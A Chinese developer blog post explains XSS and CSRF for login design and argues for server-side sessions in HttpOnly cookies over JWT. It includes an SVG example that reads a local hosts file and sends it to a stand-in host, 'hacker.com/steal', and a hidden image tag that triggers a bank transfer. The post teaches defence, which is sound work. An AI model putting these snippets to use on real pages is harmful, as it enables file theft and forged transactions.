一、前言
登录功能,这个非常基础的功能,实现方式五花八门,初中级开发面试的重灾区,并不是这个问题有多难,而是细节很多,并且最关键的一点是没有标准答案,无论采用哪种实现方式,本质都是在安全性、用户体验和系统灵活性上寻求平衡。一定不要钻牛角尖,没有完美的安全方案。
二、XSS 和 CSRF
这俩哥们相信大家都有所耳闻,XSS 全称 Cross-Site Scripting (跨站脚本攻击), CSRF 全称 Cross-Site Request Forgery(跨站请求伪造)
💡本来应该叫 CSS (Cross-Site Scripting),但 CSS 已经被"层叠样式表"用了,所以改叫 XSS。
2.1. XSS
我举个🌰来解释一下:
XSS:
-
你在小区公告栏贴了个通知
-
坏人在你的通知上夹了个小广告
-
所有看公告的人都看到了小广告
结合系统来看:
- 你发布了一个系统
- 坏人在你的系统里植入了恶意代码(比如:执行一段脚本获取你的
token,再将你的token发送出去) - 所有访问你网站的用户都会执行这段代码
- 坏人通过这种方式获取他人敏感信息,干坏事
没有实际案例,光说理论还是太抽象了,比如你会说,为什么我从没碰到,怎么实现的,是不是损人听闻。
实际上
XSS攻击不但有,还很常见!只是你感觉不到了而已。
首先现代框架已经帮你拦住了
html
// Vue/React/Angular 等框架自动防护
<div>{{ userInput }}</div>
// 以前 jQuery 时代
$('#content').html(userInput); // 危险!
所以这里要顺带提一点,如果你在使用 v-html 的时候就要注意了!
接下来说一个,在现实开发中真实碰到的情况,通过邮件发送未知的 svg。
html
// 攻击者精心构造 payload
如果你下载了下来,然后双击了这个 svg,你的数据将会被发送到对方服务器上。
css
// file:// 协议下,可以访问本地文件
fetch('file:///C:/Windows/System32/drivers/etc/hosts')
.then(response => response.text())
.then(data => {
// 发送到攻击者服务器
fetch('https://hacker.com/steal', {body: data});
});
2.2. CSRF
还是先来举个🌰:
CSRF:
- 你在网站上登录了某银行站点(保持登录状态,假设你的网站在 2025 年还有这个漏洞)
- 这个时候你访问了其他网站,或者点了不知名链接,结果访问的站点夹带了私货,转账链接
https://bank.com/transfer?to=hacker&amount=10000 - 自动携带用户信息
- 在银行站点来看完全合法,转账成功。
结合系统来看:
- 图片 CSRF
html
<p>看看我的新宠物!</p>
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="1" height="1" alt="可爱狗狗">
- 自动关注/点赞
html
同样的,为什么我们现在关注这个比较少了。
得益于前后端分离的普及,以及各种教程对 JWT 的推行,使得基于 cookie 的自动携带 token 方案被慢慢忽视。通过手动设置 Header 传递 token , 自带 CSRF 防护。
大白话:前后端分离天然防 CSRF 是因为认证信息不会"自动"发送,每次都要"手动"设置。坏人网站没法帮你"手动"设置 Authorization header。
💡说了这么多,我们来总结一下,技术的本质
XSS(跨站脚本攻击)
- 目标 :偷用户数据(
token、cookie、个人信息) - 方式 :往网页里注入恶意
JavaScript代码 - 防御 :
HttpOnly Cookie(让JS读不到)、输入消毒、CSP
CSRF(跨站请求伪造)
- 目标:冒充用户执行操作(转账、改密码、发帖)
- 方式 :诱骗用户点击链接,利用浏览器的自动带
Cookie机制 - 防御 :
CSRF Token、SameSite Cookie、验证Refere
我想看到这你应该对
XSS以及CSRF有了一定的理解,那么接下来这些问题你应该可以很好的解释了。
token 存 SessionStorage、 LocalStorage 还是 cookie ? 为什么 ?
答案是:存哪里都可以!但是侧重点不同
- 存
cookie里,可以利用HttpOnly属性,减少XSS的危害。
❗️注意:
Cookie本身不能防止XSS,但正确的Cookie设置可以减少XSS的危害!
- 存
SessionStorage、LocalStorage,可以规避CSRF,但是增加了XSS窃取用户信息风险。
三、到底该如何选择?
基于前面对 XSS 和 CSRF 的认识,发现无论我们怎么选,似乎都有所欠缺。但是我们可以看一下,主流的一些平台,像掘金、b 站、github、 若依,eladmin 都是存在 cookie 中的。这似乎预示着什么。
| 平台 | 登录状态存储 | 说明 |
|---|---|---|
| ✅ HttpOnly Cookie | 多个 auth cookie | |
| GitHub | ✅ HttpOnly Cookie | user_session |
| ✅ HttpOnly Cookie | c_user, xs |
|
| Twitter/X | ✅ HttpOnly Cookie | auth_token |
| Notion | ✅ HttpOnly Cookie | 多个 session cookie |
| Vercel | ✅ HttpOnly Cookie | auth-token |
| Shopify | ✅ HttpOnly Cookie | _secure_session_id |
几乎所有主流平台都用 HttpOnly Cookie 而不是 localStorage。
为什么会出现现在这种情况?
因为我们一直在被误导,被八股文误导,存 cookie,还是存 xxxStorage,其实本质上根本不是存哪里的问题。
一旦你接受存哪里的引导,实际上就已经被带入坑里了。
大厂的 Cookie 不是"存储",是"会话管理"。
大白话:大厂确实用 Cookie ,但不是你想的"JWT in Cookie",而是 "Session ID in Cookie",他们用 Session ID ,数据在服务端,这是升级版的 Session ,不是传统的 Servlet Session,结合了 Cookie 的安全性和服务端的控制力。
bash
// 小公司/个人项目:
localStorage.setItem('token', jwtToken);
// 逻辑:前端存储 + 后端验证
// 大厂的实际做法:
response.addHeader('Set-Cookie', 'session=xxx; HttpOnly; Secure; SameSite=Strict');
// 逻辑:服务端全权管理会话
区别在于:
csharp
// 你以为的 Cookie 存储:
Cookie cookie = new Cookie("jwt_token", jwtString);
// 把 JWT 整个放 Cookie
// 大厂的实际做法:
Cookie cookie = new Cookie("session_id", randomSessionId);
// 只是一个随机标识符
// 真实数据在服务端(Redis/数据库)
关键点: 即使用 Cookie,也不要把 JWT 放进去。放一个无意义的 Session ID,真正的数据在服务端。这才是最佳实践!
说到这里,依然没有一个标准答案,所以我们到底该如何选择,以下是我的见解,如果你有不同意见,欢迎留言讨论。
-
小项目:JWT in HttpOnly Cookie(简单)
-
中项目:Session ID + Redis(推荐)
-
大项目:Session ID + 分布式缓存 + 安全增强
四、题外话
技术发展到今天,不断地推陈出新,很多公众号为了推广新技术,踩一捧一,过度炒作。
yaml
2010年: `Cookie` 为主,但有 `CSRF` 问题
2015年: `JWT` 流行,`localStorage` + 前端管理
2018年: 发现 `localStorage` 有 `XSS` 风险
2020年: 回归 `Cookie`,但升级了(`HttpOnly` + `SameSite`)
2025年: 大厂用 `Session ID`,我们还在纠结
一句话真相:JWT 被过度炒作,Session 才是沉默的大多数。
接下来我想要和大家探讨几个问题:
4.1. 为什么 JWT 这么火?
① 技术营销的胜利
yaml
宣传口号:
- "无状态!可扩展!"
- "不需要数据库查询!"
- "微服务友好!"
现实:
- "无状态 ≈ 无法主动踢人"
- "减少查询 ≈ Token 膨胀"
- "微服务友好 ≈ 需要共享密钥"
② 教程的简化
yaml
// 教程里完美的 JWT 例子
const token = jwt.sign({ userId: 123 }, 'secret');
// 两行代码搞定认证!多简单!
// 但生产环境需要:
const token = jwt.sign({
userId: 123,
jti: 'uuid',
iat: Date.now(),
exp: Date.now() + 3600,
iss: 'auth-service',
aud: 'api-service',
// 权限、角色、版本...
}, secret, { algorithm: 'RS256' });
// 加上黑名单、刷新机制...
③ 新技术的吸引力
yaml
// JWT 听起来很"现代"
// "我们在用 JWT,你们还在用 Session?"
// 就像当年:
// "我们用 MongoDB,你们还在用 MySQL?"
// "我们用微服务,你们还是单体?"
// 现在:
// "我们用 GraphQL,你们还在用 REST?"
// 技术总是需要"新东西"来炒作
4.2. Session 为什么还是主流?
① 简单才是王道
yaml
// Session 的工作流程:
1. 登录 → 存 Session → 返回 Cookie
2. 请求 → 读 Cookie → 查 Session → 返回数据
3. 登出 → 删 Session
// 直观、易懂、好调试
② 可控制性强
yaml
// 随时可以:
// 1. 强制用户下线
sessionStore.delete(userId + ":*");
// 2. 查看谁在线
sessionStore.scan("user:*");
// 3. 限制并发登录
if (sessionStore.count(userId + ":*") > 3) {
throw new TooManySessionsException();
}
// 4. 实时更新权限
sessionStore.update(userId + ":" + sessionId, newPermissions);
③ 安全性更可控
yaml
Session 方案的安全升级路径:
阶段1: 内存 Session
阶段2: Redis Session
阶段3: Redis + 异地登录检测
阶段4: Redis + 设备指纹
阶段5: Redis + 实时风控
// 每一步都很清晰
4.3. Session 存储成本 vs 无状态优势
在很多文章中都能看到,无状态的优势在于,服务端无需存储,减轻了服务端的压力。
| 宣称优势 | 现实情况 |
|---|---|
| 减少数据库查询 | 但 JWT 验证也需要计算签名 |
| 无状态可扩展 | Session 用 Redis 一样可扩展 |
| 适合微服务 | Session 也可以,只是要共享存储 |
| 性能更好 | 微秒级差异,用户感知不到 |
那么存储成本真的很高吗?粗略的估算一下:
java
// 一个用户会话的数据量
class UserSession {
String userId; // 20字节
String username; // 20字节
List roles; // 100字节
Map attrs; // 500字节
Date loginTime; // 8字节
Date lastAccess; // 8字节
// 总计:~656字节
}
// 100万用户同时在线
1000000 × 656 ≈ 656 MB
// 加上 Redis 开销,大概 1-2 GB
// 现在 1GB 内存多少钱?
当你有 100万 在线用户,这点内存开销,毛毛雨啦!
相反,token 膨胀后,每次传递带来的流量开销就不好说了。
我让 AI 帮我算了一下,仅供参考:
| 维度 | Session 方案 | JWT 方案 | 差距倍数 |
|---|---|---|---|
| 存储成本 | $40-50/月 | $0/月 | Session 贵 |
| 流量成本 | 忽略不计 | $2,000+/月 | JWT 贵 40x |
| 总成本 | $40-50/月 | $2,000+/月 | JWT 贵 40x |
| 性能影响 | 1ms Redis GET | 0.5ms JWT 验证 | 差异可忽略 |
| 运维复杂度 | 中等 | 低 | Session 稍高 |
JWT 的"免费"是假象 - 流量成本远超存储成本
规模越大,JWT 越贵 - 流量成本线性增长
Session 性价比高 - 内存便宜,流量小
控制能力有价值 - Session 能做的事情多
4.4. 现实项目中的选择
小公司用 JWT:
less
初创公司,3个开发
"用 JWT!无状态,简单!"
实际遇到:
- Token 失效问题
- 用户投诉"不能踢人"
- Token 越来越大
但还能忍,先上线再说
中型公司纠结:
less
50人的技术团队
"JWT 好像不够用了..."
"要不要换 Session?"
但已经有用户在用,改造成本高
结果:JWT + Redis 黑名单
这不就是 Session 吗?! 😅
残酷的真相:
java
// 说是 JWT,其实是...
@RestController
public class AuthController {
@PostMapping("/login")
public ResponseEntity login() {
// 生成 JWT
String token = jwt.generateToken(user);
// 但是...存 Redis 了!😂
redis.set("token:" + token, user);
return ResponseEntity.ok(token);
}
@GetMapping("/validate")
public ResponseEntity validate(@RequestHeader("Authorization") String token) {
// 先查 Redis!
User user = redis.get("token:" + token);
if (user == null) {
return ResponseEntity.status(401).build();
}
// 再验证 JWT(可选)
jwt.validate(token);
return ResponseEntity.ok(user);
}
}
// 这不就是 Session 吗?只是用 JWT 格式的 Session ID!
大公司用 Session:
less
大厂架构师
"我们用 Session,有问题吗?"
"Redis 集群能撑住"
"安全团队要求能实时控制"
"用户体验要求能多设备管理"
没人发博客吹这个,但稳定运行着
4.4. JWT 的真实使用场景
适合 JWT 的场景:
yaml
1. 一次性验证: 邮件验证链接
2. 短期授权: 文件下载链接(15分钟)
3. API 网关: 内部服务间通信
4. 第三方集成: OAuth 2.0
5. 无状态端点: 公开的只读API
不适合 JWT 的场景:
yaml
1. 用户会话管理: 需要失效控制
2. 权限频繁变更: JWT 更新不及时
3. 敏感操作: 需要实时验证
4. 多设备管理: 需要会话列表
五、总结
不要被技术潮流绑架。根据需求选择:
- 要简单可控 → Session
- 要无状态 API → JWT
- 大部分 Web 应用 → Session
选择用 Session 不是因为技术落后,而是因为它确实好用。技术选型不是追新,而是选合适。
这里给出一个实用对比表格供大家参考:
| 考量维度 | Session | JWT |
|---|---|---|
| 存储成本 | 低(内存便宜) | 零(但流量成本可能更高) |
| 实时控制 | ✅ 完全控制 | ❌ 很难控制 |
| 安全审计 | ✅ 完整记录 | ⚠️ 有限记录 |
| 用户体验 | ✅ 灵活控制 | ⚠️ 固定过期 |
| 扩展性 | ✅ Redis 集群 | ✅ 无状态扩展 |
| 微服务 | ✅ 需要共享存储 | ✅ 无状态 |
| 移动端 | ⚠️ Cookie 支持差 | ✅ 原生支持好 |
| 开发复杂度 | 简单直观 | 各种边缘情况 |
千里之行,始于足下。你的"个人公司"从这第一个2小时开始。欢迎在评论区分享你的进展或遇到的卡点,我会逐一查看,尽可能的帮助解决。我们下一篇文章见!